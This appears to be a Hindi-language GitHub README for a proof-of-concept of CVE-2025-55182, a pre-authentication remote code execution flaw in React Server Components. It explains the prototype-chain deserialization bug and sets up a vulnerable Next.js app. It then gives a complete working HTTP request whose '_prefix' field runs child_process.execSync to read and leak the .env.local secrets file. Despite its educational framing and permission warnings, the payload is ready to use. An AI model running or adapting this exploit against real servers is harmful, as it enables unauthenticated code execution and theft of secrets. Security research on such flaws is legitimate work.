
यह रिपॉज़िटरी CVE-2025-55182 का एक POC शामिल करती है, जो React Server Components को प्रभावित करने वाली एक गंभीर (CVSS स्कोर 10.0) pre-authentication remote code execution भेद्यता है, जिसे React2Shell के रूप में भी जाना जाता है।
⚠️ चेतावनी: यह रिपॉज़िटरी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। इस एक्सप्लॉइट का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
इस रिपॉज़िटरी में CVE-2025-55182 का प्रूफ-ऑफ-कॉन्सेप्ट प्रदर्शन शामिल है, जो React Server Components को प्रभावित करने वाली एक गंभीर प्रमाणीकरण-पूर्व रिमोट कोड निष्पादन भेद्यता है।
CVSS स्कोर: 10.0 (क्रिटिकल)
प्रभावित संस्करण:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182, React Server Components के फ्लाइट प्रोटोकॉल कार्यान्वयन में एक असुरक्षित डी-सीरियलाइज़ेशन भेद्यता है। यह भेद्यता अप्रमाणित हमलावरों को दुर्भावनापूर्ण पेलोड तैयार करके सर्वर पर मनमाना JavaScript कोड निष्पादित करने की अनुमति देती है, जो प्रोटोटाइप चेन ट्रैवर्सल और असुरक्षित प्रॉपर्टी एक्सेस पैटर्न का शोषण करते हैं।
यह भेद्यता React Server Components द्वारा फ्लाइट प्रोटोकॉल पेलोड को डी-सीरियलाइज़ करने के तरीके से उत्पन्न होती है। मॉड्यूल संदर्भों को संसाधित करते समय, कोड प्रॉपर्टीज़ तक पहुँचने के लिए ब्रैकेट नोटेशन (moduleExports[metadata[2]]) का उपयोग करता है, जो पूरी JavaScript प्रोटोटाइप चेन को ट्रैवर्स करता है। यह हमलावरों को उन प्रॉपर्टीज़ को संदर्भित करने की अनुमति देता है जो स्पष्ट रूप से निर्यात नहीं की गई थीं, जिसमें constructor प्रॉपर्टी भी शामिल है, जो वैश्विक Function कंस्ट्रक्टर तक पहुँच प्रदान करती है।
प्रोटोटाइप पोल्यूशन तकनीकों को React की आंतरिक चंक प्रोसेसिंग तंत्रों के साथ जोड़कर, एक हमलावर ऐसा पेलोड तैयार कर सकता है जो अंततः Function कंस्ट्रक्टर के माध्यम से मनमाना कोड निष्पादित करता है।
निम्नलिखित संस्करण का उपयोग करके एक नया प्रोजेक्ट बनाएं जिसमें भेद्य React Server Components शामिल हों:
npx [email protected] poc-react2shell
cd poc-react2shell
या उस रिपॉज़िटरी का उपयोग करें।
भेद्यता के प्रभाव को प्रदर्शित करने के लिए प्रोजेक्ट रूट में एक .env.local फ़ाइल बनाएं:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Next.js डेवलपमेंट सर्वर लॉन्च करें:
npm run dev
सर्वर http://localhost:3000 पर प्रारंभ होना चाहिए।
http://localhost:3000/ पर सेट करेंPOST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
प्रतिक्रिया में आपकी .env.local फ़ाइल की सामग्री रिस्पॉन्स बॉडी में होनी चाहिए:

पेलोड में तीन मल्टीपार्ट फ़ॉर्म फ़ील्ड होते हैं:
फ़ील्ड 0: एक नकली चंक ऑब्जेक्ट जिसमें शामिल है:
$1:__proto__:then)$B1337) जो एक्सप्लॉइट को ट्रिगर करता है_response ऑब्जेक्ट जिसमें दुर्भावनापूर्ण _prefix और _formData.get हैफ़ील्ड 1: फ़ील्ड 0 का एक संदर्भ ($@0)
फ़ील्ड 2: एक खाली ऐरे ([])
_prefix में मौजूद दुर्भावनापूर्ण कोड Node.js के child_process.execSync का उपयोग करके .env.local को पढ़ता है और परिणाम को एरर डाइजेस्ट में एम्बेड करता है।
यह भेद्यता हमलावरों को निम्न की अनुमति देती है:
इस CVE का वास्तविक-विश्व परिदृश्य में अभ्यास करें
CVE-2025-55182 को हैंड्स-ऑन CTF वातावरण में एक्सप्लॉइट करना चाहते हैं? OSS OopsSec Store देखें, जो आक्रामक सुरक्षा प्रशिक्षण के लिए डिज़ाइन की गई एक जानबूझकर भेद्य प्रयोगशाला है। इस CVE को एक फ्लैग के रूप में लागू किया गया है!
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक उद्देश्यों और सुरक्षा अनुसंधान के लिए प्रदान किया गया है। किसी भी प्रणाली पर सुरक्षा भेद्यताओं का परीक्षण करने से पहले हमेशा सुनिश्चित करें कि आपके पास स्पष्ट लिखित अनुमति है।